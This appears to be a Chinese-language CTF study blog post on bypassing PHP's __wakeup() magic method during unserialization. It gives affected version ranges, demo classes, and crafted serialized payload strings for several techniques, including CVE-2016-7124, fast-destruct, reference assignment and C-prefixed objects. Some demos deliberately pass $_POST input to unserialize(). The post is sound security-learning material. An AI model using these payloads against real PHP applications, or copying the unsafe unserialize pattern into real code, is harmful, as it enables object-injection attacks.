php反序列化之wakeup()绕过

前言:

简单学习一下wakeup()绕过的知识(一些内容都是大佬总结的),自己只是通过看别人和学长写的文章来领悟wakeup()绕过的奥秘

参考资料:
wakeup魔术方法绕过:
php反序列化之绕过wakeup:
苟学长的总结:

php反序列化总结

引用了大佬的一些内容,希望他们不要介意,嘿嘿嘿

_wakeup()是在反序列化对象时被调用。当unserialize的时候,会检查时候存在wakeup()函数,如果存在的话,会优先调用wakeup()函数。

CVE-2016-7124

适用版本:

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

这应该是最常见的wakeup()绕过漏洞了,就是适用的的php版本比较低

利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class test{
public $a='绕过成功';

public function __wakeup(){
$this->a='绕过失败';
}

public function __destruct(){
echo $this->a;
}
}

//$v = new test();
//echo serialize($v);
//O:4:"test":1:{s:1:"a";s:4:"test";}
?>

当执行unserialize('O:4:"test":1:{s:1:"a";s:4:"test";}');时会返回“绕过失败”,在修改对象属性个数的值(1改成2),执行unserialize('O:4:"test":2{s:1:"a";s:4:"test";}');会返回“绕过成功”

利用反序列化字符串报错

适用版本:

  • 7.0.15 - 7.0.33
  • 7.1.1 - 7.1.33
  • 7.2.0 - 7.2.34
  • 7.3.0 - 7.3.28
  • 7.4.0 - 7.4.16
  • 8.0.0 - 8.0.3

前提:包含destruct()方法

利用方式:用一个包含destruct()方法的类触发魔术方法可绕过wakeup()方法

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class D {

public function __get($name) {
echo "D::__get($name)\n";
}
public function __destruct() {
echo "D::__destruct\n";
}
public function __wakeup() {
echo "D::__wakeup\n";
}
}

class C {
public function __destruct() {
echo "C::__destruct\n";
$this->c->b;

}
}


unserialize('O:1:"C":1:{s:1:"c";O:1:"D":0:{};N;}');

原本应该是O:1:"C":1:{s:1:"c";O:1:"D":0:{}},调用顺序是

1
2
3
4
D::__wakeup
C::__destruct
D::__get(b)
D::__destruct

添加了一个;N;(反序列化末尾加上;任意字符;)的错误结构后调用顺序就变成了

1
2
3
4
C::__destruct
D::__get(b)
D::__wakeup
D::__destruct

大佬的解释是

&引用赋值绕过

利用方式:当代码中存在类似$this->a===$this->b的比较时可以用&,使$a永远与$b相等

使用引用的方式让两个变量同时指向同一个内存地址,这样对其中一个变量操作时,另一个变量的值也会随之改变。

以学长给的例子为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class KeyPort{
public $key;

public function __destruct()
{
$this->key=False;
if(!isset($this->wakeup)||!$this->wakeup){
echo "You get it!";
}
}

public function __wakeup(){
$this->wakeup=True;
}

}

if(isset($_POST['pop'])){

@unserialize($_POST['pop']);

}

$keyport = new KeyPort();
$keyport->key=&$keyport->wakeup;
echo serialize($keyport);
#O:7:"KeyPort":2:{s:3:"key";N;s:6:"wakeup";R:2;}

keyport->key=&$keyport->wakeup;表示$key变量指向的地址永远指向$wakeup变量指向的地址

这样就能在$this->key=False;使wakeup=False,从而符合if(!isset($this>wakeup)||!$this->wakeup),绕过wakeup()的wakeup=Ture,输出“You get it”

又例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class test{
public $a;
public $b;

public function __construct(){
$this->a = 'abc';
$this->b = &$this->a;
}
public function __destruct(){
if($this->a===$this->b){
echo 666;
}
}
}

$a = serialize(new test());

?>

学长文章提到的具体ctf题目,2022年中国工业互联网安全大赛北京市选拔赛暨全国线上预选赛-Writeup

感觉这个方法其实还是会触发wakeup()的,只是通过这个方法来规避wakeup()造成的影响,构造出完整的payload,从而达到绕过的效果。

php issue#9618

这个也是在学长的文章中了解到的

适用版本:

  • 7.4.x -7.4.30
  • 8.0.x

利用方式:反序列化后的字符串中修改包含字符串长度错误的变量名,使反序列化在wakeup()之前调用destruct()函数,最后绕过__wakeup()

例如:O:1:”A”:2:{s:4:”info”;O:1:”B”:1:{s:3:”znd”;N;}s:6:”end”;s:1:”1”;}

​ 改成O:1:”A”:2:{s:4:”info”;O:1:”B”:1:{s:3:”znd”;N;}s:6:”Aend”;s:1:”1”;}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file(__FILE__);
class A
{
public $info;
private $end = "1";

public function __destruct()
{
$this->info->func();
echo "des";
}
}

class B
{
public $znd;

public function __wakeup()
{
$this->znd = "exit();";
echo '__wakeup';
}

public function __call($method, $args)
{
echo "__call ";
}
}
if(isset($_POST['pop'])){
@unserialize($_POST['pop']);
}


$test=new A();
$test->info=new B();
echo serialize($test);

fast-destruct

这个大佬学长已经解释得很清楚了,PHP反序列化中wakeup()绕过总结 – fushulingのblog

使用C代替O

条件:

  • <7.1.33

测试脚本:[https://3v4l.org/YclXi\](https://3v4l.org/YclXi/)

1
2
3
4
5
6
7
8
9
10
11
12
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//https://3v4l.org/YAje0
//https://bugs.php.net/bug.php?id=81151
class E {
public function __construct(){

}

public function __destruct(){
echo "destruct";
}

public function __wakeup(){
echo "wake up";
}
}

var_dump(unserialize('C:1:"E":0:{}'));

但只能执行construct()destruct()函数,无法添加任何内容,感觉操作空间不是很大

无视weakup

如果类中同时定义了 __unserialize() __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
注意:此特性自 PHP 7.4.0 起可用。

注意是在同一类中


php反序列化之wakeup()绕过
https://www.supersmallblack.cn/php反序列化之wakeup()绕过.html
作者
Small Black
发布于
2023年3月17日
许可协议